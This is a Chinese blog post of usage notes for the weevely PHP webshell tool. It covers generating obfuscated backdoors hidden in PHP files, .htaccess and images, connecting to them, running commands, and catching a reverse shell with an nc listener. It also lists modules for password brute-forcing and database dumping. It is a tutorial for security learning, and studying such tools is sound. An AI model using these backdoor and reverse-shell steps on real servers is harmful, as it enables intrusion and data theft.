weevely入手使用笔记
-前言
weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作是linux下的一款php菜刀替代工具,具有很好的隐蔽性(生成随机参数且base64加密),在linux上使用时还是很给力的(集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能),就是某些模块在windows上无法使用,总的来说还是非常不错的一款工具(仅用于安全学习教学之用,禁止非法用途)。
项目地址:http://epinna.github.com/Weevely/
作者:Emilio Pinna 主页:http://disse.cting.org
测试环境:kali linux 1.0.6 amd64 + Apache + php
1.生成后门

查看weevely help可以看到weevely可以生成三种形式的php后门:

:generate.php //生成php后门文件
:generate.htaccess //将后门代码插入到.htaccess,需要开启.htaccess支持 (关于.htaccess文件)
:generate.img //将后门代码插入到图片中,并修改.htaccess,需开启.htaccess支持
1.1 生成php后门文件

wevely会生成经过base64加密且参数随机的后门:

之前看到有大牛分离出Weevely中的加密模块来加密任意WebShell,在此作简单介绍:
加密模块:下载地址
Usage:python test.py intofile outfile
测试效果:

1.2 生成.htaccess后门

1.3 生成.img图片后门

2. 连接后门
连接方式都是一样的: weevely <url> <password> 这里不一一例举,但采用.htaccess或图片连接时要开启.htaccess支持:
kali下找apache2的配置文件,查看/etc/apache2/apache2.conf文件,发现没有,但它包含多个配置文件,依次查看,结果在其包含的sites-enabled/下找到了,其绝对路径:/etc/apache2/sites-enabled/000-default 修改如下配置以支持htaccess:

连接图片后门示例:

当然,weevely也支持在连接时直接带上命令直接执行:
~$ weevely http://127.0.0.1/img_door/1.jpg linger "ls" //这与上面的两步一样的,上面的类似交互式的shell
3.weevely丰富的模块功能
查看weevely的可利用模块:(可按TAB键进入控制台模式)
~# weevely help
+----------------------+--------------------------------------------------+
module | description +----------------------+--------------------------------------------------+
| :audit.etcpasswd | 枚举/etc/passwd |
| :audit.userfiles | 列举用户/home下具有权限的文件 |
| :audit.mapwebfiles | 枚举任意Web站点的URL链接 |
| :shell.php | 编写php文件 |
| :shell.sh | 编写系统脚本 |
| :system.info | 收集系统信息 |
| :find.suidsgid | 查找SUID / SGID文件和目录 |
| :find.perms | 查找权限可读/写/可执行文件和目录 |
| :backdoor.tcp | TCP端口后门 |
| :backdoor.reversetcp | 反弹TCP连接 |
| :bruteforce.sql | 爆破指定数据库用户名密码 |
| :bruteforce.sqlusers | 爆破所有数据库用户密码 |
| :file.upload | 上传本地文件 |
| :file.upload2web | 上传二进制/ ASCII文件至目标站点文件夹并枚举URL |
| :file.enum | 在本地词表的书面枚举远程文件 |
| :file.read | 读文件 |
| :file.rm | 删除文件 |
| :file.check | 检查远程文件的状态(md5值,大小,权限等) |
| :file.download | 下载远程二进制/ ASCII文件到本地 |
| :sql.console | 启动SQL控制台 |
| :sql.dump | 备份数据库,即脱库 |
| :net.scan | 端口扫描 |
| :net.phpproxy | 安装远程php代理 |
| :net.ifaces | 显示远程主机网络接口信息 |
| :net.proxy | 安装隧道通信代理 | +----------------------+----------------------------------------------------+

反弹TCP连接到本地:
本地监听8008端口等待连接:
~$ nc -l -p 8008
在weevely上建立TCP连接:

可以看到本地与远程主机已经建立了连接:

枚举任意Web站点的URL链接:
:audit.mapwebfiles http://xxx.xxx.xx.xx/index.php http://xxx.xxx.xx.xx /var/www/conf
上传本地文件到远程主机指定路径

从远程主机下载文件:

当然还有很多强大的功能,在新版的kali里貌似新加了一些模块,用法都差不多,可以查看帮助“ :help shell.sh”。
weevely入手使用笔记的更多相关文章
- 树莓派开发笔记(十二):入手研华ADVANTECH工控树莓派UNO-220套件(一):介绍和运行系统
前言 树莓派也可以做商业应用,工业控制,其稳定性和可靠性已经得到了验证,故而工业控制,一些停车场等场景也有采用树莓派作为主控的,本片介绍了研华ADVANTECH的树莓派套件组UNO-220-P4N ...
- Hi3516开发笔记(一):海思HI3516DV300芯片介绍,入手开发板以及Demo测试
前言 目前主流国产芯片为RV11XX.RK33XX.Hi35XX系列,本系列开启Hi3516系列的开发教程. Hi3516DV300芯片介绍 Hi3516DV300为专业行Smart IP ...
- Rock Pi开发笔记(二):入手Rock Pi 4B plus(基于瑞星微RK3399)板子并制作系统运行
前言 入手rock pi 4b plus板子,查看具体的实物,然后制作系统,刷系统,让摇滚派的ubuntu系统运行起来. Rock Pi 4B plus 介绍 ROCK Pi 4 是 Ra ...
- 树莓派开发笔记(十四):入手研华ADVANTECH工控树莓派UNO-220套件(三):使用研发自带系统测试rtc、gpio、232和485套件接口
前言 上一篇说明了必须要使用研华自带的8G卡的系统,通过沟通拿到了相关的系统,购买的时候会带8GB的卡,请自行备份一份镜像.本篇对uno-220套件的相关研华配套的额外接口做测试,篇幅较长,重点讲 ...
- webstorm入手笔记
一.webstorm学习前小记 webstorm是一款现在前端用的比较多的IDE,其优势也比较多,这个大家在网上随便搜搜就可以找到了.但是本人大部分的时间都是使用sublime text工作,最近由于 ...
- MQTT入手笔记(二)
Mosquitto是一个实现了MQTT3.1协议的代理服务器,由MQTT协议创始人之一的Andy Stanford-Clark开发,它为我们提供了非常棒的轻量级数据交换的解决方案.本文的主旨在于记录M ...
- MQTT入手笔记
MQTT服务官网:http://mosquitto.org/download/ 在unix系统按照以下步骤运行并启动mqtt服务: 1. # 下载源代码包wget http://mosquitto.o ...
- Docker学习笔记1 -- 刚入手docker时的几个命令
目录 Hello World 后台运行 停止运行 容器 载入镜像 指定端口映射 查看日志 查看应用的进程 登入镜像内部 移除容器 镜像 查看本地镜像 拉取镜像 查找镜像 更新镜像 构建镜像 设置镜像标 ...
- 树莓派开发笔记(十三):入手研华ADVANTECH工控树莓派UNO-220套件(二):安装rtc等驱动
前言 前面运行了系统,本篇是安装对应套装的驱动,使rtc等外设生效,树莓派本身是不带rtc外设的. UNO-220-P4N1AE 驱动下载 官方下载:https://www.advan ...
随机推荐
- 希尔排序算法-python实现
#-*- coding: UTF-8 -*- import numpy as np def ShellSort(a): gap = a.size / 2 while gap >= 1: for ...
- mysql中去重 distinct 用法
在使用MySQL时,有时需要查询出某个字段不重复的记录,这时可以使用mysql提供的distinct这个关键字来过滤重复的记录,但是实际中我们往往用distinct来返回不重复字段的条数(count( ...
- HTML第三讲(选择符)
本次课程讲CSS中的选择符 1.基本选择符 基本选择符有三个 1.标记名选择符 所谓的标记名选择符就是直接在样式中使用标记名定义,譬如以下代码: (此种选择符的特点是所有相同的标记名可以同时定义不需要 ...
- String..lastIndexOf(".") 返回-1的思考
String s = tableName.substring(tableName.lastIndexOf(".") + 1); 如果有tableName有'.',那么返回正确的截取 ...
- javascript系列--Object.assign实现浅拷贝的原理以及实现
一.前言 之前在前面一篇学习了赋值,浅拷贝和深拷贝.介绍了这三者的相关知识和区别. 传送门:https://www.mwcxs.top/page/592.html 本文会介绍浅拷贝Object.ass ...
- boost::threadpool 调用类成员变量并传入参数 的方法
1. 首先到官网下载 http://threadpool.sourceforge.net/ 2. 包含头文件 #include "../boost/threadpool.hpp& ...
- zufeoj 1018 阶乘第k位是多少(sprintf)
题目描述 n的阶乘定义为n!=1*2*3*……*n 如3!=6 n!通常最后会有很多0,如5!=120 最后有一个0,现在统计n!去除末尾的0后,最后k位是多少 输入 第一 ...
- CentOS 上使用vscode 调试百度大数据分析框架Apache Doris BE
A: 前期准备工作 1. 安装vscode,详细请参见vscode官网https://code.visualstudio.com/docs/setup/linux,摘要如下: sudo rpm --i ...
- ORA-12521: TNS: 监听程序当前无法识别连接描述符中请求的实例(原)
今天登录PL/SQL出现问题: ---------------------------sys@RAC1 as SYSDBA---------------------------ORA-12521: T ...
- 为什么重写equals后要重写hashCode
equals和hashCode的关系 要搞清楚题目中的问题就必须搞明白equals方法和hashCode方法分别是什么,和诞生的原因,当搞明白了这一点其实题目就不算是个问题了,下面我们来探讨分别探讨一 ...